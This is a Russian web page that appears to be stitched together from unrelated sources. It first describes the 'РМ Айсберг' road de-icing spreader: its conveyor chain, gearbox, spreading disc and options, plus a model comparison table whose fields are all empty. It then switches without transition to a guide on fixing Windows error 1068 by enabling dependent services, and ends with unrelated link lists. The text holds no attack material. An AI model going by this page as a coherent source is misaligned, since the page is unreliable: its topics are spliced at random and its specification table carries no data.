  Имеется одобрение типа транспортного средства. Машина, на которую устанавливается распределитель «РМ Айсберг» регистрируется как коммунальная дорожная машина (КДМ) с выдачей ПТС.

  Принцип работы РМ Айсберг достаточно прост: материал подается на тарелку распределителя из бункера при помощи высокопрочной безвтулочной пластинчатой цепи. Эта цепь уникальна тем, что при своей внешней простоте обладает значительным запасом прочности и, в тоже время, не требует никакого обслуживания в процессе эксплуатации. Цепь приводится в движение мощным редуктором итальянского производства. Механизм редуктора работает в собственной масляной ванне и не связан с гидравликой автомобиля.

  С тарелки разбрасывателя материал распределяется по поверхности дороги.

  Система смачивания устанавливается опционально и состоит из баков для воды, соединяющей фурнитуры, водяного насоса и форсунки, располагающейся непосредственно над тарелкой распределителя. Смачивание реагента происходит при вылете с лопатки. И во время соударения с жидким реагентом достигается эффект росы.

  

  Редукторный привод итальянского производства

  • Гарантирует плавность хода.
  • Благодаря своим конструктивным особенностям система обеспечивает более плавную регулировку, точность дозировки и плотности посыпки.
  • Механизм редуктора работает в в собственной масляной ванне и не связан с гидравликой автомобиля.

  

  Вогнутый диск распределителя диаметром 600 мм

  • Изготовлен из нержавеющей стали.
  • Обеспечивает ширину распределения до 12 метров.
  • 8 лопаток специальной формы.
  • Устанавливается на промежуточную подшипниковую опору.

  

  Скребковый транспортер с двойной приводной пластинчатой цепью

  • Высокопрочная безвтулочная пластинчатая цепь, которая не требует практически никакого обслуживания, запас ресурса гарантирован на весь срок службы машины.
  • Цепь транспортера движется в специальном канале и максимально закрыта от воздействия агрессивных реагентов (песок, соль и др.), благодаря чему значительно продлевается срок ее службы.

  Чистик на транспортере

  • В задней части устанавливается чистик для обметания скребков транспортера.

  

  

  Вал цепи транспортера движется на втулках ZEDEX и на саморегулирующихся подшипниках FKL

  • Передний вал цепи вращается на втулках ZEDEX или на саморегулирующихся подшипниках FKL (опция).
  • Приводной вал цепи вращается на саморегулирующихся подшипниках FKL.
  • Система натяжения цепи установлена в базовой комплектации.

  

  Защитная просеивающая решетка

  • Исключает попадание в бункер камней и прочих крупных фракций вместе с противогололедными реагентами.
  • Может изготавливаться в 2-х вариантах:
    • из прутка диаметром 8, 10, 12 мм
    • из полосы 5х50 мм.

    

    Ровные стенки бункера исключают налипание смеси

    и обеспечивают равномерную подачу материала на транспортер.

    Это гарантирует равномерность распределения противогололедных материалов по всей ширине проезжей части.

    

    Светодиодные дублирующие фонари (*опция)

    обеспечивают безопасность на дороге.

    

    Система быстрой фиксайии и опоры хранения (*опция)

    для самостоятельной (без использования грузоподъёмных машин) погрузки в кузов и выгрузки из него.

    В процессе хранения бункер находится на опорах, а не на земле, что так же способствует его лучшей сохранности.

    Система быстрой фиксации надежно закрепляет бункер в кузове самосвала.

    

    Герметичные ящики

    • Монтируются сзади для размещения регуляторов потоков, коллектора и элементов системы смачивания.
    • Защищают от сырости, грязи и неблагоприятных погодных условий.

    

    Вибрационная система (*опция)

    • По желанию заказчика разбрасыватель может оснащаться дополнительной вибрационной системой.
    • Это абсолютно исключает налипание противогололедного материала на стенках бункера, что может происходить у очень увлажненных смесей.
    • Плита с креплениями под вибратор уже установлена в базовой комплектации.

    

    Баки системы смачивания (*опция)

    Для работы с чистыми хлоридами (чистой солью) распределитель может оборудоваться системой смачивания.

    Прочный влагонепроницаемый тент

    которым может оборудоваться бункер распределителя, отлично защищает от нежелательного намокания смеси при работе с чистой солью (*опция).

    

    Сенсорный пульт управления

    позволяет регулировать работу всего оборудования непосредственно из кабины автомобиля (*опция).

    

    Система заднего обзора (*опция)

    Для повышения безопасности на дороге на распределитель может дополнительно устанавливаться защищенная камера заднего вида с монитором (WAECO PerfectView RVS 721, прямоуг., цв., ИК подсв., монитор ж/к M 7LS, цв. 7″, пит. 12/24В).

    Характеристика / Модель

    РМ-4 базовая

    РМ-5 базовая

    РМ-7

    РМ-9

    РМ-8 базовая

    РМ-10

    РМ-12

    РМ-16

    Вместимость бункера, куб.м

    Масса (без надрамника и опор), кг

    Габаритные размеры бункера (дхшхв), мм

    Ширина обрабатываемой полосы, м

    Плотность посыпки, г/кв.м

    Производительность по распределению пгм, кв.м/ч

    Тип узла распределения

    Рабочая / транспортная скорость, км/ч

    Емкость масляного бака, л, не менее

    Система разгрузки бортов (рассекатель)

    Опорные подшипниковые узлы валов

    Количество обслуживающего персонала, чел.

    Узнайте подробные технические характеристики

    У текущего товара нет ни одного отзыва.

    Ошибка 1068 — не удалось запустить дочернюю службу или группу

    

    Если при запуске какой-либо программы, выполнения действия в Windows или при входе в систему вы видите сообщение об ошибке 1068 «Не удалось запустить дочернюю службу или группу», это говорит о том, что по какой-то причине необходимая для выполнения действия служба отключена или не может быть запущена.

    В этой инструкции подробно о распространенных вариантах ошибки 1068 (Windows Audio, при подключениях и создании локальной сети и т.п.) и о том, как исправить возникшую проблему, даже если ваш случай не из числа распространенных. Сама же ошибка может появиться в Windows 10, 8 и Windows 7 — то есть во всех последних версиях ОС от Microsoft.

    Не удалось запустить дочернюю службу — распространенные варианты ошибки 1068

    Для начала о самых часто встречающихся вариантах ошибки и быстрые пути исправить их. Необходимые для исправления действия будут выполняться в управлении службами Windows.

    Для того, чтобы открыть «Службы» в Windows 10, 8 и Windows 7, нажмите клавиши Win+R (где Win — клавиша с эмблемой ОС) и введите services.msc после чего нажмите Enter. Откроется окно со списком служб и их состоянием.

    

    Для изменения параметров любой из служб, просто дважды кликните по ней, в следующем окне вы сможете изменить тип запуска (например, включить «Автоматически») и запустить или остановить службу. Если опция «Запустить» не доступна, то сначала нужно изменить тип запуска на «Вручную» или «Автоматически», применить настройки и уже потом запускать службу (но она может не запуститься и в этом случае, если зависима еще от каких-то отключенных в настоящий момент служб).

    

    Если проблема не была решена сразу (или запускать службы не получается), то после изменения типа запуска всех необходимых служб и сохранения настроек попробуйте также перезагрузить компьютер.

    Ошибка 1068 службы Windows Audio

    Если запустить дочернюю службу не удалось при запуске службы Windows Audio, проверьте состояние следующих служб:

    • Питание (тип запуска по умолчанию — Автоматически)
    • Планировщик классов мультимедиа (данная служба может отсутствовать в списке, тогда для вашей ОС неприменимо, пропустите).
    • Удаленный вызов процедур RPC (по умолчанию — Автоматически).
    • Средство построения конечных точек Windows Audio (тип запуска — Автоматически).

    После запуска указанных служб и возвращения типа запуска по умолчанию, служба Windows Audio должна перестать выдавать указанную ошибку.

    Не удалось запустить дочернюю службу при действиях с сетевыми подключениями

    Следующий распространенный вариант — сообщение об ошибке 1068 при каких-либо действиях с сетью: предоставлением общего доступа к сети, настройке домашней группы, подключению к Интернету.

    В описываемой ситуации проверьте работу следующих служб:

    • Диспетчер подключений Windows (Автоматически)
    • Удаленный вызов процедур RPC (Автоматически)
    • Служба автонастройки WLAN (Автоматически)
    • Автонастройка WWAN (Вручную, для беспроводных подключений и Интернета по мобильной сети).
    • Служба шлюза уровня приложения (Вручную)
    • Служба сведений о подключенных сетях (Автоматически)
    • Диспетчер подключений удаленного доступа (по умолчанию – вручную)
    • Диспетчер автоматических подключений удаленного доступа (Вручную)
    • Служба SSTP (Вручную)
    • Маршрутизация и удаленный доступ (по умолчанию бывает отключена, но попробуйте запустить, может помочь в исправлении ошибки).
    • Диспетчер удостоверений сетевых участников (Вручную)
    • Протокол PNRP (Вручную)
    • Телефония (Вручную)
    • Plug and Play (Вручную)

    В качестве отдельного действия при неполадках с сетевыми службами при подключении к Интернету (ошибка 1068 и ошибка 711 при непосредственно подключении в Windows 7) можно попробовать следующее:

    1. Остановите службу «Диспетчера удостоверений сетевых участников» (не меняйте тип запуска).
    2. В папке C:\ Windows\ serviceProfiles\ LocalService\ AppData\ Roaming\ PeerNetworking удалите файл idstore.sst при его наличии.

    После этого перезагрузите компьютер.

    Поиск необходимых для исправления ошибки 1068 служб вручную на примере диспетчера печати и брандмауэра

    Поскольку все возможные варианты появления ошибки с запуском дочерних служб я предусмотреть не могу, показываю, как можно попробовать самостоятельно исправить ошибку 1068 вручную.

    Этот способ должен подойти для большинства случаев появления проблемы в Windows 10 — Windows 7: и для ошибок брандмауэра, Hamachi, диспетчера печати и для других, менее часто встречающихся вариантов.

    В сообщение об ошибке 1068 всегда присутствует название службы, вызвавшей эту ошибку. В списке служб Windows найдите это название, после чего кликните по ней правой кнопкой мыши и выберите «Свойства».

    После этого перейдите на вкладку «Зависимости». Например, для службы Диспетчер печати мы увидим, что требуется «Удаленный вызов процедур», а для брандмауэра требуется «Служба базовой фильтрации», для которой, в свою очередь, тот же «Удаленный вызов процедур».

    

    Когда необходимые службы стали известны, пробуем включить их. Если тип запуска по умолчанию неизвестен — пробуем «Автоматически» с последующей перезагрузкой компьютера.

    Примечание: такие службы, как «Питание» и «Plug and Play» не указываются в зависимостях, но могут быть критичными для работы, всегда обращайте на них внимание при возникновении ошибок запуска служб.

    А вдруг и это будет интересно:

    • Лучшие бесплатные программы для Windows
    • Как разрешить обычному пользователю запускать программу от имени Администратора без ввода пароля
    • Как выйти из полноэкранного режима в Windows
    • Как включить компактный вид панели быстрых настроек Windows 11
    • Шрифты в интерфейсе Chrome стали более жирными и размытыми — как исправить?
    • Msftconnecttest.com — что это и как исправить возможные ошибки
    • Windows 11
    • Windows 10
    • Android
    • Загрузочная флешка
    • Лечение вирусов
    • Восстановление данных
    • Установка с флешки
    • Настройка роутера
    • Всё про Windows
    • В контакте
    • Одноклассники
    Владимир 16.12.2018 в 18:59

    Похожие публикации:

    1. Как выйти из приложения android studio
    2. Как высчитать вектор из матрицы
    3. Как преобразовать число в строку в си
    4. Как проверить выход vga на материнской плате